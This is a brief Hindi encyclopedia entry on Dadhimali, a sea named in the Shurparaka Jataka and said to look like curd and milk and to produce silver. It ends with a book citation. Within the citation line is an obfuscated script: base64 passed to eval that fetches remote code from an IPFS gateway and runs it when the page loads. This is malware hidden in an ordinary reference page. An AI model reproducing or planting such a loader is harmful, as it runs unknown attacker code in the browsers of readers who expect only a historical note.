दधिमाली

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दधिमाली 'शूर्पारक जातक' में वर्णित एक समुद्र का नाम है, जो भृगुकच्छ के वणिकों को समुद्र यात्रा में अग्निमाली समुद्र के पश्चात् मिला था-

'यथा दधिं व खीरं समुद्दोपति दिस्सति'

अर्थात् 'यह समुद्र दधि और दूध के समान दीखता है।

  • इस समुद्र में चांदी का उत्पन्न होना कहा गया है-

'तस्मिंपन समुद्दे रजतं उत्पन्नम्'


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टीका टिप्पणी और संदर्भ

ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 578 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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